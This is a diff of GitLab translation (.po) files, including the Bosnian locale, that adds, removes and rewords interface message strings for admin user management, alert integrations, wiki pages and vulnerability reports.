@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/bs_BA/gitlab.po b/locale/bs_BA/gitlab.po
index 5d095bbb2ea..0654967a4ce 100644
--- a/locale/bs_BA/gitlab.po
+++ b/locale/bs_BA/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: bs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:43\n"
+"PO-Revision-Date: 2020-12-03 08:11\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -85,6 +85,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -184,14 +190,14 @@ msgstr[0] "%d dan"
msgstr[1] "%d dana"
msgstr[2] "%d dana"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -406,22 +412,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -505,6 +502,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -577,21 +577,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -607,9 +613,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -625,13 +628,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -664,9 +667,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -769,37 +769,13 @@ msgstr[2] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -859,6 +835,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -961,6 +940,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -979,12 +961,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1597,9 +1573,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1948,9 +1921,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2173,6 +2152,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2221,16 +2209,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2257,6 +2248,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2293,6 +2287,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2332,6 +2335,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2341,6 +2353,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2350,6 +2365,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2362,7 +2386,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2575,6 +2605,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2584,9 +2632,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2614,6 +2671,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2626,7 +2689,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2635,27 +2704,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2665,9 +2758,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
